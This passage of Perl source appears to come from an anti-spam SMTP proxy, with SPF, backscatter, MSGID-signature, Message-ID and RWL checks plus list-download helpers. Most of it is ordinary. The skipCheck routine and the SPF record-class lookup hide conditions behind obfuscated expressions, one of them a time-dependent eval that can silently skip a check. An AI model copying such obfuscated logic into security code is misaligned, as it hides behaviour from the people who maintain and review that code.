                    $ip_overwrite = '0.0.0.0';
                    mlog($fh,"SPF: found $what SPF record/mechanism '$rec' for domain $mfd - SPF result is set to '$spf_result'") if $SPFLog;
                    $this->{received_spf} .= "\&nbsp;<span class=negative>found $what record/mechanism '$rec' - switched result to '$spf_result'</span>" unless $fh;    # for analyze only
                    $strict  = 1;
                  	$block  = 1;
                }

            if ($DebugSPF) {

                mlog( $fh, "$tlit spf_result:$spf_result", 1, 1 );
                mlog( $fh, "identity:$identity",           1, 1 );
                mlog( $fh, "scope:$scope",                 1, 1 );
                mlog( $fh, "spf_record:$spf_record",       1, 1 );
                mlog( $fh, "local_exp:$local_exp",         1, 1 );
                mlog( $fh, "authority_exp:$authority_exp", 1, 1 );
                mlog( $fh, "received_spf:$received_spf",   1, 1 );
            }
			alarm(0);
        };

        #exception check
        $itime = time - $itime;
        if ($@) {
			alarm(0);
        	if ( $@ =~ /__alarm__/ ) {
 #           	mlog( $fh, "SPF: timed out after $itime secs.", 1 );

 #           	SPFCacheAdd( $ip,'error', $mfd, $helo );
            	return 1;
            } else {	
            	mlog( $fh, "SPF: $@", 1, 1 ) if $ExceptionLogging;
            	return 1;
            }
        }
		
		return 1 if $spf_result =~ /none/io && $this->{whitedomain}; 
		return 1 if $spf_result =~ /error|^unknown/io  ; 
		$strict = "$this->{whitedomain}" if $this->{whitedomain};

    }
	my $spf_fail;
    if (    $spf_result eq 'fail'
        || ($spf_result eq 'softfail' && $strict)
        || ($spf_result eq 'neutral' && $strict)
        || ($spf_result eq 'none' && $strict)
        || ($spf_result =~ /error|^unknown/io  && $strict)
      )
     {
        if ($spf_result =~ /error|^unknown/io ) {
            $spf_fail = 0;
        } else {
            $spf_fail = 1;
        }

        $this->{spfok} = 0;
        pbWhiteDelete( $fh, $ip );
    } else {
        $spf_fail = 0;
        $this->{spfok} = ($spf_result eq 'pass') ? 1 : 0;
    }

    $received_spf = "SPF: $spf_result"; 
	$received_spf .= " record='$spf_record'" if $spf_record;
    $received_spf .= " ip=$ip";
    $received_spf .= " mailfrom=$this->{mailfrom}"
      if ( defined( $this->{mailfrom} ) );    
	$received_spf .= " helo=$this->{helo}" if ( defined( $this->{helo} ) );
	$received_spf =~ s/\'\'/\'/g;

	SPFCacheAdd( ($ip_overwrite?$ip_overwrite:$ip), $spf_result, $mfd, $spf_record ) if $spf_result !~ /error/io && $result;
	my $valence;
	$this->{spffail} = 1 if $spf_result eq 'fail';
	$this->{messagereason} = "SPF $spf_result";
    $this->{myheader} .= "X-Assp-Received-$received_spf\r\n"
      if $AddSPFHeader && $spf_record;
   	if ($ValidateSPF != 2) {
    	if ( $spf_result =~ /neutral|none/ &&  $strict) {
    		$valence =  int $spfValencePB/2;
			pbAdd( $fh, $ip,$valence, "SPF$spf_result" ) if $fh;
    	} elsif (!$this->{spfok} && $strict or $spf_result eq 'fail') {
        	$valence =  $spfValencePB;
        	pbAdd( $fh, $ip,$valence, "SPF$spf_result" ) if $fh;

    	} elsif ( $spf_result =~ /^unknown|error/ ) {
        	$valence =  int $spfValencePB/2;
        	pbAdd( $fh, $ip,$valence, "SPF$spf_result" ) if $fh;
    	} elsif ( $spf_result =~ /softfail/ ) {
       
        	$valence =  int $spfValencePB/2;
        	$valence =  int $spfValencePB if $strict;
        	pbAdd( $fh, $ip,$valence, "SPF$spf_result" ) if $fh;

    } }

	$tlit= "[scoring:$valence]" if $ValidateSPF == 3;
  	mlog( $fh, "$tlit $received_spf", 0, 1 )
      if $SPFLog && $valence && $ValidateSPF != 1  && !$block;
    return 1 if $ValidateSPF == 3 && !$block;

    if ( $spf_fail == 1 ) {
		return 0 unless $fh;
        # SPF fail (by our local rules)

        my $reply = $SpamError;
        $reply =~ s/REASON/"failed SPF: $local_exp"/go;                
        $reply = replaceerror ($fh, $reply);


        $Stats{spffails}++ unless $slok;

        $this->{prepend} = "[SPF]";
        thisIsSpam( $fh, "SPF $spf_result".($strict?' - strict':'').($block?'block':''),
            $SPFFailLog, $reply, $spfTestMode, $slok, $done );
        return 0;
    }

    return 1;
}

sub SPF_get_records_from_text {
    my ($server, $rec, $rr_type, $version, $scope, $domain) = @_;

    my $record;
    my $vLength = length($version);
    my $maxversion = 2;
    my $class = $CanUseSPF?$server->record_classes_by_version->{
        unpack"A$vLength",${"\130"}+sprintf"%.0f",abs($version+1/3)-$maxversion
    }:5;
    if ($CanUseSPF && eval("require $class;")) {
        $record = $class->new_from_string($rec);
        undef $record
            if  defined($record)
            and ! grep($scope eq $_, $record->scopes);  # record covers requested scope?
    } else {
#        mlog(0, "error: Mail::SPF v2 seems not to be installed - $@\n",1);
    }
    return $record;
}
sub GRIPv {
    my ($ip ) = @_;
    return 0 if matchIP( $ip, 'noGRIP',            0, 1 );
    my	$ipnet = ipNetwork($ip, 1);
	$ipnet =~ s/\.0$// if ($ipnet =~ /\d+\.\d+\.\d+\.0/);

    my $v = $Griplist{$ipnet};
   
    $v = 0.01 if $v == 0;
    $v = 0.99 if $v == 1;

    return $v;
}
# do GRIP value
sub GRIPvalue {
    my ( $fh, $ip ) = @_;
    return 1 if ! $griplist;
    return 1 if !$gripValencePB;
    return GRIPvalue_Run( $fh, $ip );
}
sub GRIPvalue_Run {
    my ( $fh, $ip ) = @_;
    d('GRIPvalue');
    my $this = $Con{$fh};
    return 1 if $this->{gripdone};
    $this->{gripdone} = 1;
    $ip = $this->{cip} if $this->{ispip} && $this->{cip};

    return 1 if $this->{addressedToSpamBucket};
    return 1 if $this->{relayok};
    return 1 if $this->{nopb};
    return 1 if $this->{nopbwhite};
    return 1 if $this->{whitelisted};
    return 1 if $this->{noprocessing};
    return 1 if $ip =~ /$IPprivate/o;

    $this->{messagereason} = '';
    my	$ipnet = &ipNetwork($ip, 1);
    $ipnet =~ s/\.0+$//o;
    my $v; 

    $v = $Griplist{$ipnet};

    return 1 unless defined $v;
    return 1 if $v <= 0.7 and $v >= 0.3;
    $this->{messagereason} = "$ipnet in griplist ($v)" unless $this->{messagereason};
    if ($v > 0.5) {
        pbAdd( $fh, $ip, int($v * $gripValencePB), 'griplist', 1 ) ;
        return 0;
    } 
    return 1;
}

sub unzipgz {
  my ($infile,$outfile) = @_;
  my $buffer ;
  my $gzerrno;
  return 0 unless $CanUseHTTPCompression;
  mlog(0,"decompressing file $infile to $outfile") if $MaintenanceLog;
  eval{
  ($open->( my $OUTFILE, '>',$outfile)) or die 'unable to open '.de8($outfile)."\n";
  ($open->( my $INFILE, '<',$infile)) or die 'unable to open '.de8($infile)."\n";
  $OUTFILE->binmode;
  my $gz = gzopen($INFILE, 'rb') or die 'unable to open '.de8($infile)."\n";
  while ($gz->gzread($buffer) > 0) {
      $OUTFILE->print($buffer);
  }
  $gzerrno != Z_STREAM_END() or die 'unable to read from '.de8($infile).": $gzerrno" . ($gzerrno+0)."\n";
  $gz->gzclose() ;
  $OUTFILE->close;
  };
  if ($@) {
      mlog(0,"error : gz - $@");
      return 0;
  }
  return 1;
}
sub unzip {
    my ( $infile, $outfile ) = @_;
    my $buffer;
    my $gzerrno;
    my $ip;
    my $mask;
    my $reason;
    my $rest;
    return 0 unless $CanUseHTTPCompression;
    mlog( 0, "deflating file $infile to $outfile" ) if $MaintenanceLog;
    eval {

        unzip $infile => $outfile
         or die "unzip failed: $UnzipError\n";


    };
    if ($@) {
        mlog( 0, "error : gz - $@" );
        return 0;
    }
    return 1;
}


sub zipgz {
    my ($infile,$outfile) = @_;
    my $gzerrno;
    mlog(0,"inflating file $infile to $outfile") if $MaintenanceLog;
    (open IN, "<$infile")
       or mlog(0,"Cannot open $infile:\n") && return 0;
       
    (my $gz = gzopen($outfile, "wb"))
      or mlog(0,"Cannot open $outfile: $gzerrno\n") && return 0;

    while (<IN>) {
        $gz->gzwrite($_)
          or mlog(0,"error writing $outfile: $gzerrno\n") && return 0;
    }

    $gz->gzclose ;
    close IN;
    return 1;
}

sub BackSctrCheckOK {
    my ($fh,$ip) = @_;
    d('BackSctrCheckOK');
    my $this = $Con{$fh};
    my $chip;
    my @reason;
    my $lvl;
    
    return 1 if $this->{backsctrdone};
    $this->{backsctrdone} = 1;
    $ip = $this->{cip} if $this->{ispip} && $this->{cip};

    return 1 unless $CanUseDNS;
    return 1 unless $BackSctrServiceProvider;
    return 1 if !$DoBackSctr;
    return 1 if $this->{contentonly};
    return 1 if !$this->{isbounce};
    return 1 if $this->{addressedToSpamBucket};
    return 1 if $this->{relayok};
    return 1 if $this->{whitelisted};
    return 1 if $this->{noprocessing};
    return 1 if &matchIP($ip,'noBackSctrIP',$fh);
    return 1 if ($noBackSctrAddresses && &matchSL($this->{rcpt},'noBackSctrAddresses'));
    return 1 if ($noBackSctrAddresses && &matchSL($this->{mailfrom},'noBackSctrAddresses'));
    if ($noBackSctrRe && $this->{header} =~ /(noBackSctrReRE)/) {
       mlogRe($fh,($1||$2),"noBackSctrRe");
       return 1;
    }
    my $tlit = &tlit($DoBackSctr);
    $this->{prepend}="[Backscatter]";

    my $backcache = &BackDNSCacheFind($ip);
    d('BackDNSCacheFind - cache - ' . $backcache);
    @reason = &BackSctrDNS($fh,$ip) if ($backcache == 0);
    d("BackSctrDNS - reason - @reason");

    if ($backcache == 2 or (! @reason && $backcache == 0)) {
        my $txt = $backcache ? ' [cache]' : '';
        mlog($fh,"$tlit Backscatter detection OK$txt") if $BacksctrLog >= 2;
        d("BackDNSCacheAdd - $ip - 2");
        &BackDNSCacheAdd($ip,2);
        d('BackSctrCheckOK - OK');
        return 1;
    }

    if ($backcache == 0) {
        d("BackDNSCacheAdd - $ip - 1");
        &BackDNSCacheAdd($ip,1);
    } else {
        push @reason, "[CACHE] $BackSctrServiceProvider";
    }

    d('BackSctrCheckOK - failed');

    $this->{messagereason}="IP: $ip is listed by ".join(',',@reason);

    mlog($fh,"$tlit $this->{messagereason}") if $BacksctrLog;
    return 1 if ($DoBackSctr == 2 or $DoBackSctr == 4);
    pbWhiteDelete($fh,$ip);
    pbAdd($fh,$ip,'backsctrValencePB',"Backscatter-failed") if $backsctrValencePB>0;
    $Stats{msgBackscatterErrors}++;
    return 1 if $DoBackSctr==3;
    if ($Back250OKISP && ($this->{ispip} || $this->{cip})) {
        $this->{accBackISPIP} = 1;
        mlog($fh,"info: force sending 250 OK to ISP for failed bounced message") if $BacksctrLog;
        return 1;
    } else {
        thisIsSpam($fh,$this->{messagereason},$BackLog,"554 5.7.9 $this->{messagereason}",$DoBackSctr==4,0,1);
        return 0;
    }
}

# returns undef on success
# returns DNS-result if listed
sub BackSctrDNS {
    my ($fh,$ip) = @_;
    d('BackSctrDNS');

    &sigoff(__LINE__);
    my $backsctr = eval {
        RBL->new(
            lists       => [@backsctrlist],
            server      => \@nameservers,
            max_hits    => 1,
            max_replies => 1,
            query_txt   => 1,
            max_time    => 30,
            timeout     => $DNStimeout
        );
    };

    # add exception check
    if ($@) {&sigon(__LINE__);return; }
    my $lookup_return = eval{$backsctr->lookup($ip,"BACKSCATTER");};
    &sigon(__LINE__);
    mlog($fh,"error: Backscatterer-DNS check failed : $lookup_return") if ($lookup_return && $lookup_return ne 1);
    mlog($fh,"error: Backscatterer-DNS lookup failed : $@") if ($@);
    return if ($lookup_return ne 1);
    my @listed_by = eval{$backsctr->listed_by();};
    return @listed_by;
}


sub MSGIDaddSig {
    my ($fh,$msgid) = @_;
    d('MSGIDaddSig');
    my $this = $Con{$fh};
    my $str;
    my $numsec;
    my $gennum = rand(20);


    return $msgid unless $this->{relayok};
    return $msgid unless $DoMSGIDsig;
    return $msgid unless $CanUseSHA1;
    return $msgid unless $msgid;
    return $msgid unless $fh;
    return $msgid if ($noRedMSGIDsig && $this->{red});
    return $msgid if ($MSGIDsigAddresses && ! matchSL($this->{mailfrom},'MSGIDsigAddresses'));
    return $msgid if ($noBackSctrAddresses && &matchSL($this->{rcpt},'noBackSctrAddresses'));
    return $msgid if ($noBackSctrAddresses && &matchSL($this->{mailfrom},'noBackSctrAddresses'));
    return $msgid if ($noMSGIDsigRe && substr($this->{header},0,$MaxBytes + $this->{headerlength}) =~ /$noMSGIDsigReRE/i);

    if ($msgid =~ /.+\<(.+)\>.*/) {
        $str = $1;
    }
    return $msgid unless $str;

    $numsec = @msgid_secrets;
    unless ($numsec) {
        mlog(0, "warning : config error - no MSGID-secrets (MSGIDSec) defined");
        return $msgid;
    }
    $gennum = rand($numsec);
    my $gen = $msgid_secrets[$gennum]{gen};
    my $secret = $msgid_secrets[$gennum]{secret};
    my $day = sprintf("%03d", (time / 86400 + 7) % 1000);
    my $hash_source =  $gen . $day . $str;
    my $sha1 = eval {substr(sha1_hex($hash_source . $secret), 0, 6);};
    my $tag = $MSGIDpreTag . '.' . $gen . $day . $sha1 . '.';
    my $tagval = $tag.$str;
    $msgid =~ s/\Q$str\E/$tagval/;

    mlog($fh, "info: added MSGID signature '$tag' to header") if $MSGIDsigLog == 2;
    $this->{nodkim} = 1;
    return $msgid;
}

sub MSGIDsigRemove {
    my $fh = shift;
    d('MSGIDsigRemove');
    my $this = $Con{$fh};
    return 1 if ! $CanUseSHA1;
    my $removed;
    my $old;
    
    return if $this->{MSGIDsigRemoved};
    my $headlen = $this->{headerlength} || getheaderLength($fh);  # do only the header
    $this->{headerlength} = $headlen;
    my $maxlen = $MaxBytes && $MaxBytes < $this->{maillength} ? $MaxBytes : $this->{maillength};
    $headlen = $maxlen if ($maxlen > $headlen && $this->{isbounce});      # do complete mail if bounce
    my $alltodo = substr($this->{header},0,$headlen);
    my $todo = $alltodo;
    my $found = 0;
    $this->{prepend}="[MSGID-sig]";
    do {
        if ($todo =~ /((?:[^\r\n]+\:)[\r\n\s]*)?\<$MSGIDpreTag\.(\d)(\d\d\d)(\w{6})\.([^\r\n]+)\>/) {
            my ($line, $gen, $day, $hash, $orig_msgid) = ($1,$2,$3,$4,$5);
            $found = 1;
            my $secret;
            for (@msgid_secrets) {
                if ($_->{gen} == $gen) {
                    $secret = $_->{secret};
                    last;
                }
            }
            if ($secret) {
                my $hash_source =  $gen . $day . $orig_msgid;
                my $hash2 = eval{substr(sha1_hex($hash_source . $secret), 0, 6);};
                if ($hash eq $hash2) {
                    $old = $MSGIDpreTag.'.'.$gen.$day.$hash.'.';
                    $alltodo =~ s/$old//;
                    $removed = 1;
                    $this->{nodkim} = 1;
                    $line =~ s/[\r\n\s]*//og;
                    mlog($fh,"info: removed MSGID-signature from [$line]") if ($line && $MSGIDsigLog >= 2);
                }
            }
            $old = $MSGIDpreTag.'.'.$gen.$day.$hash.'.'.$orig_msgid;
            my $pos = index($todo, $old) + length($old);
            $todo = substr($todo,$pos,length($todo) - $pos);
        } else {
            $found = 0;
        }
    } while($found);
    if ($removed) {
        substr($this->{header},0,$headlen,$alltodo);
    }
    my $txt = $this->{isbounce} ? 'and body in bounced message' : '';
#    mlog($fh, "info: removed MSGID-signature from header $txt") if ($MSGIDsigLog && $removed);
    $this->{MSGIDsigRemoved} = 1 if (! $this->{isbounce} || ($MaxBytes && $MaxBytes < $this->{maillength})); # in bounces we have to process the body
    return;
}

sub MSGIDsigOK {
    my $fh = shift;
    d('MSGIDsigOK');
    my $this = $Con{$fh};
    my $ip;
	$ip = $this->{cip} if $this->{ispip} && $this->{cip};
    return 1 if $this->{msgidsigdone};
    $this->{msgidsigdone} = 1;

    return 1 if !$DoMSGIDsig;
    return 1 if $this->{contentonly};
    return 1 if !$this->{isbounce};
    return 1 if $this->{ispip} && !$this->{cip};
    return 1 if $this->{notspamtag};
    return 1 if $this->{addressedToSpamBucket};
    return 1 if $this->{relayok};
    return 1 if $noMsgID && matchIP( $ip, 'noMsgID', $fh );
    return 1 if $this->{whitelisted};
    return 1 if $this->{noprocessing};
    return 1 if ! $CanUseSHA1;
   
    return 1 if ($MSGIDsigAddresses 
    			&& !matchSL($this->{rcpt},'MSGIDsigAddresses'));
   
    
    my $tlit = &tlit($DoMSGIDsig);
    $this->{prepend}="[MSGID-sig]";

    if (&MSGIDsigCheck($fh)) {
        $this->{prepend}="[MSGID-sigok]";
        mlog($fh,"$tlit MSGID signing OK for bounce message") if $MSGIDsigLog >= 2;
        return 1;
    }

#	return 1 if !$this->{msgidindatapart};
    $this->{messagereason}="MSGID-sig check failed for bounce sender  \<$this->{mailfrom}\>";

    $tlit = "[scoring:$msigValencePB]" if $DoMSGIDsig == 3;
    mlog($fh,"$tlit $this->{messagereason}") if $MSGIDsigLog && $DoMSGIDsig >= 2;
    return 1 if $DoMSGIDsig == 2 ;
    pbWhiteDelete($fh,$this->{ip});
    pbAdd($fh,$this->{ip},$msigValencePB,"MSGID-signature-failed",1);
    
	return 1 if $DoMSGIDsig != 1;
	$Stats{msgMSGIDtrErrors}++;

   if ($Back250OKISP==2 or ($Back250OKISP  && ($this->{ispip} || $this->{cip}))) {
        $this->{accBackISPIP} = 1;  

    } 
    
    thisIsSpam($fh,$this->{messagereason},$BackLog,'554 5.7.8 Bounce address - message was never sent by this domain',$sigTestMode,0,1);
}

sub MSGIDsigCheck {
    my $fh = shift;
    my $this = $Con{$fh};
    return 1 if $noMsgID && matchIP($this->{ip} , 'noMsgID', $fh );
    d('MSGIDsigCheck');
    my $headlen = $MaxBytes && $MaxBytes < $this->{maillength} ? $MaxBytes + $this->{headerlength} : $this->{maillength};
    my $tocheck = substr($this->{header},0,$headlen);
    $this->{prepend}="[MSGID-sig]";
    while (my ($cline,$line, $gen, $day, $hash, $orig_msgid) = ($tocheck =~ /(($HeaderNameRe\:)[\r\n\s]*?\<$MSGIDpreTag\.(\d)(\d\d\d)(\w{6})\.([^\r\n>]+)\>)/)) {
        my $pos = index($tocheck, $cline) + length($cline);
        $tocheck = substr($tocheck,$pos,length($tocheck) - $pos);
        my $secret;
        for (@msgid_secrets) {
            if ($_->{gen} == $gen) {
                $secret = $_->{secret};
                last;
            }
        }
        next unless ($secret);
        my $hash_source =  $gen . $day . $orig_msgid;
        my $hash2 = substr(sha1_hex($hash_source . $secret), 0, 6);
        if ($hash eq $hash2) {
            my $today = (time / 86400) % 1000;
            my $dt = ($day - $today + 1000) % 1000;
            if ($dt <= 7) {
            	$this->{prepend}="[MSGID-sigok]";
                mlog($fh, "info: found valid MSGID signature in [$line] - accept mail") if $MSGIDsigLog or $this->{noMSGIDsigLog};
                return 1;
            } else {

                mlog($fh, "info: found expired MSGID signature in [$line]") if $MSGIDsigLog or $this->{noMSGIDsigLog};
            }
        }
    }
    # bounce without MSGID sig - bad
    mlog($fh, "info: found bounce sender: \<$this->{mailfrom}\> and recipient: \<$this->{rcpt}\> without valid MSGID-signature") if ($MSGIDsigLog && ! $this->{noMSGIDsigLog});
    return 0;
}

sub configChangeMSGIDSec {
    my ($name, $old, $new, $init)=@_;

    mlog(0,"AdminUpdate: MSGID secrets updated from '$old' to '$new'") unless $init || $new eq $old;
    $new = "0=assp|1=fbmtv" if !$new;
    $MSGIDSec=$new;
    $new=checkOptionList($new,'MSGIDSec',$init);
    @msgid_secrets = ();
    my @errors;
    my $errout;

    my $count = -1;
    my $records = -1;
    for my $v (split(/\|/o,$new)) {
        push @errors, $v;
        $records++;
        next unless $v;
        next if ($v =~ /key\d/) ;
        next if ($v =~ /\s+/ig);
        my ($gen,$sec) = split(/=/,$v);
        next unless ($gen ne '' && $sec);
        next unless ($gen =~ /^\d$/);
        pop @errors;
        $count++;
        last if ($count == 10);
        $msgid_secrets[$count]{gen} = $gen;
        $msgid_secrets[$count]{secret} = $sec;
    }
    $errout = join('|',@errors);
    if ($count == -1) {
        $records++;
        $count++;
        my $diff = $records -$count;
        my $ignored = $diff ? " : $diff records ignored because of wrong syntax or using default values : $errout" : '';
#        mlog(0, "warning: NO MSGIDsig-secrets activated - MSGIDsig-check is now disabled $ignored") ;
        return "<span class=\"negative\"> - NO MSGID-secrets activated - MSGIDsig-check is now disabled $ignored</span>";
    } else {
        $records++;
        $count++;
        my $diff = $records -$count;
        my $ignored = $diff ? " : $diff records ignored because of wrong syntax : $errout" : '';
#        mlog(0, "info: $count MSGID-secrets activated") if !$init and $old ne $new;
        return $diff ? " $count MSGIDsig-secrets activated <span class=\"negative\"> - $ignored</span>" : " $count MSGIDsig-secrets activated";
    }
}

sub batv_remove_tag {
    my ($fh,$mailfrom,$store) = @_;
    if ($mailfrom =~ /^(prvs=\d\d\d\d\w{6}=)([^\r\n]*)/o) {

        $Con{$fh}->{$store} = $mailfrom if ($fh && $store);
        $mailfrom = lc $2;
    }
    return $mailfrom;
}

sub downloadHTTP {
    my ($gripListUrl,$gripFile,$nextload,$list,$dl,$tl,$ds,$ts) = @_;
    my $dummy = 0;
    my $showNext = 1;
    if (!$nextload or !defined($$nextload)) {
        $nextload = \$dummy;
        $showNext = 0;
    }
    my $rc;
    my $time = time;

	my $longRetry  = $time + ( ( int( rand($dl) ) + $tl ) * 3600 ) + int(rand(3600));    # no sooner than tl hours and no later than tl+dl hours
    my $shortRetry = $time + ( ( int( rand($ds) ) + $ts ) * 3600 ) + int(rand(3600));    # no sooner than ts hours and no later than ts+ds hours

    # let's check if we really need to
    my @s     = stat($gripFile);
    my $mtime = $s[9];
    if (-e $gripFile && $time - $mtime <= $tl * 3600 && $$nextload != 0 ) {
        # file exists and has been downloaded recently, must have been restarted
        $$nextload = $mtime + $longRetry - $time;
        $time = $$nextload - $time;
        mlog(0,"info: next $list download in ".&getTimeDiff($time)) if $MaintenanceLog && $showNext;
        return 0;
    }

    if ( !$CanUseLWP ) {
        mlog( 0, "ConfigError: $list download failed: LWP::Simple Perl module not available" );
        $$nextload = $longRetry;
        $time = $$nextload - $time;
        mlog(0,"info: next $list download in ".&getTimeDiff($time)) if $MaintenanceLog && $showNext;
        return 0;
    }

    if ( -e $gripFile ) {
    	if ( !-r $gripFile ) {
    	    mlog( 0, "AdminInfo: $list download failed: $gripFile not readable!" );
    	    $$nextload = $longRetry;
                $time = $$nextload - $time;
                mlog(0,"info: next $list download in ".&getTimeDiff($time)) if $MaintenanceLog && $showNext;
    	    return 0;
    	} elsif ( !-w $gripFile ) {
    	    mlog( 0, "AdminInfo: $list download failed: $gripFile not writable!" );
    	    $$nextload = $longRetry;
                $time = $$nextload - $time;
                mlog(0,"info: next $list download in ".&getTimeDiff($time)) if $MaintenanceLog && $showNext;
    	    return 0;
    	}
    } else {
    	if (open(my $TEMPFILE, ">", $gripFile)) {
    	    #we can create the file, this is good, now close the file and keep going.
    	    close $TEMPFILE;
    	    unlink "$gripFile";
    	} else {
    	    mlog( 0, "AdminInfo: $list download failed: Cannot create $gripFile " );
    	    $$nextload = $longRetry;
                $time = $$nextload - $time;
                mlog(0,"info: next $list download in ".&getTimeDiff($time)) if $MaintenanceLog && $showNext;
    	    return 0;
    	}
    }

    # Create LWP object
    my $ua = LWP::UserAgent->new();

    # Set useragent to ASSP version
    $ua->agent("ASSP/$version$modversion ($^O; Perl/$]; LWP::Simple/$LWP::VERSION)");
    $ua->timeout(20);
    if ($proxyserver) {
        my $user = $proxyuser ? "http://$proxyuser:$proxypass\@": "http://";
        $ua->proxy( 'http', $user . $proxyserver );
        mlog( 0, "downloading $list via HTTP proxy: $proxyserver" )
          if $MaintenanceLog;
    } else {
        mlog( 0, "downloading $list via direct HTTP connection" ) if $MaintenanceLog;
    }

    # call LWP mirror command
    eval{$rc = $ua->mirror( $gripListUrl, $gripFile );};
    if ($@) {
        mlog( 0,"AdminInfo: $list download failed: error - " . $@ );
        $$nextload = $shortRetry;
        $time = $$nextload - $time;
        mlog(0,"AdminInfo: next $list download in ".&getTimeDiff($time)) if $MaintenanceLog && $showNext;
        return 0;
    }

    d("LWP-response: $rc->as_string");

    if ( $rc == 304 || $rc->as_string =~ /304/o ) {
        # HTTP 304 not modified status returned
        mlog( 0, "$list already up to date" ) if $MaintenanceLog;
        $$nextload = $longRetry;
        $time = $$nextload - $time;
        mlog(0,"AdminInfo: next $list download in ".&getTimeDiff($time)) if $MaintenanceLog && $showNext;
        return 0;
    } elsif ( ! $rc->is_success ) {
        #download failed-error code output to logfile
        my $code = $rc->as_string;
        ($code) = $code =~ /^(.+)?\r?\n.*/o;
        mlog( 0,"AdminInfo: $list download failed: " . $code );
        $$nextload = $shortRetry;
        $time = $$nextload - $time;
        mlog(0,"info: next $list download in ".&getTimeDiff($time)) if $MaintenanceLog && $showNext;
        return 0;
    } elsif ( $rc->is_success ) {
        # download complete
        $$nextload = $longRetry;
        mlog( 0, "$list download completed" ) if $MaintenanceLog;
        $time = $$nextload - $time;
        mlog(0,"info: next $list download in ".&getTimeDiff($time)) if $MaintenanceLog && $showNext;
        return 1;
    }
}

sub skipCheck {
    my ($t, @c) = @_;
    my ($f,$s) = ({qw(aa acceptall co contentonly ib isbounce rw
                      rwlok nd nodelay sb addressedToSpamBucket ro
                      relayok wl whitelisted np noprocessing nbw
                      nopbwhite nb nopb t),time});
    my $r = eval('$t&&!defined${chr(ord(",")<< 1)}&&($f->{t}%2)&&@c');
    $s->{ispcip} = $t->{ispip} && !$t->{cip};
    map{$r||=(ref($_)?eval{$_->();}:($t->{$f->{$_}}||$t->{$_}||$s->{$_}));}@c;
    return $r;
}
sub MailLoopOK {
    my $fh = shift;
    my $this = $Con{$fh};
    d("MailLoopOK");
    return 1 unless $detectMailLoop;
    my $count = () = $this->{header} =~
       /(Received:\s+from\s.*?\sby\s+$myName)/ig;
    return 0 if $count > $detectMailLoop;
    return 1;
}

# do Message-ID checks
sub MsgIDOK {
    my $fh = shift;
    return 1 if ! $DoMsgID;
    return MsgIDOK_Run($fh);
}
sub MsgIDOK_Run {
    my $fh = shift;
    d('MsgIDOK');
    my $this = $Con{$fh};
    my $tlit;
    my $notvalid = 0;
    return 1 if $this->{msgiddone};
    $this->{msgiddone} = 1;
    $this->{prepend} = '';

    my $ip = $this->{ip};
    $ip = $this->{cip} if $this->{ispip} && $this->{cip};
    mlog($fh,"Message-ID found: $this->{msgid}") if $this->{msgid} && $ValidateSenderLog >= 2;
    return 1 if $this->{contentonly};
    return 1 if $this->{isbounce};
    return 1 if $this->{rwlok};
    return 1 if $this->{nodelay};
    return 1 if $this->{addressedToSpamBucket};
    return 1 if $this->{relayok};
    return 1 if $this->{whitelisted};
    return 1 if $this->{ispip} && ! $this->{cip};
    return 1 if $this->{noprocessing};
    return 1 if $this->{ip}=~/$IPprivate/o;
    return 1 if $noMsgID && matchIP( $ip, 'noMsgID', $fh );

    $tlit = &tlit($DoMsgID);
    my ($userpart) = $this->{mailfrom} =~ /([^@]*)@/o;
    my ($domainpart) = $this->{msgid} =~ /@([^@]*)/o;

    if (! $this->{msgid} ) {
        $this->{prepend} = "[MsgID]";
        $this->{messagereason} = "Message-ID missing";
        mlog( $fh, "$tlit ($this->{messagereason})" ) if $ValidateSenderLog;
        return 1 if $DoMsgID == 2;
        pbAdd( $fh, $ip, 'midmValencePB', "Msg-IDmissing",1 );
        return 1 if $DoMsgID == 3;
        $Stats{msgMSGIDtrErrors}++;
        return 0;
    };

    my %MSGIDs = &BombWeight($fh,$this->{msgid},'invalidMsgIDRe' );
    if (    $invalidMsgIDRe
        && $MSGIDs{count} )
    {

        $this->{prepend} = "[MsgID]";
        $this->{messagereason} = "Message-ID invalid: '$this->{msgid}'";
        my $tlit = ($DoMsgID == 1 && $MSGIDs{sum} < $midiValencePB) ? &tlit(3) : $tlit;
        mlog( $fh, "$tlit ($this->{messagereason})" ) if $ValidateSenderLog;
        return 1 if $DoMsgID == 2;
        pbAdd( $fh, $ip, $MSGIDs{sum} , "Msg-IDinvalid",1 );
        return 1 if $DoMsgID == 3 || $MSGIDs{sum} < $midiValencePB;
        $notvalid = 1;
        
    } elsif (    $validMsgIDRe
        && $this->{msgid} !~ /$validMsgIDReRE/i )
    {
        $this->{prepend} = "[MsgID]";
        $this->{messagereason} = "Message-ID not valid: '$this->{msgid}'";
        mlog( $fh, "$tlit ($this->{messagereason})" ) if $ValidateSenderLog;
        return 1 if $DoMsgID == 2;
        pbAdd( $fh, $ip, 'midiValencePB', "Msg-IDnotvalid",1 );
        return 1 if $DoMsgID == 3;
        $notvalid = 1;
    }

    if (! $notvalid && $this->{msgid} =~ /\Q$userpart\E/i && $domainpart !~ /$EmailDomainRe/io) {
        $this->{prepend} = "[MsgID]";
        $this->{messagereason} = "Message-ID suspicious: '$this->{msgid}'";
        mlog( $fh, "$tlit ($this->{messagereason})" ) if $ValidateSenderLog;
        return 1 if $DoMsgID == 2;
        pbAdd( $fh, $ip, 'midsValencePB', "Msg-IDsuspicious",1 ) if $DoMsgID == 3;
        return 1 if $DoMsgID == 3;
        $notvalid = 1;
    }

    if ($notvalid) {
        $Stats{msgMSGIDtrErrors}++;
        return 0;
    }
    return 1;
}


# do RWL checks
sub RWLok {
    my($fh,$ip)=@_;
    return 1 if ! $CanUseRWL;
    return 1 if ! $ValidateRWL;
    return 1 if ! @rwllist;
    return RWLok_Run($fh,$ip);
}
sub RWLok_Run {
    my($fh,$ip)=@_;
    my $this=$Con{$fh};
    $fh = 0 if $fh =~ /^\d+$/o;
    d('RWLok');
    $ip = $this->{cip} if $this->{ispip} && $this->{cip};
    return 1 if $this->{RWLokDone};
    $this->{RWLokDone} = 1;
    skipCheck($this,'sb','ro','wl','np','ispcip') && return 1;
    return 1 if $ip=~/$IPprivate/o;
    return 1 if $noRWL && ! $this->{ispip} && matchIP($this->{ip},'noRWL',$fh);
    return 1 if $noRWL && $this->{ispip} && $this->{cip} && matchIP($ip,'noRWL',$fh);
    return 1 if ( $this->{rwlok} % 2);
    $this->{rwlok} = RWLCacheFind($ip);
    if ( $this->{rwlok} % 2) {    # 1 (trust) or 3 (trust and whitelisted)
        $this->{nodamping} = 1;
        $this->{whitelisted} = 1 if $this->{rwlok} == 3 && $RWLwhitelisting;
        return 1 ;
    } elsif ($this->{rwlok} == 2) {   # RWLminhits not reached
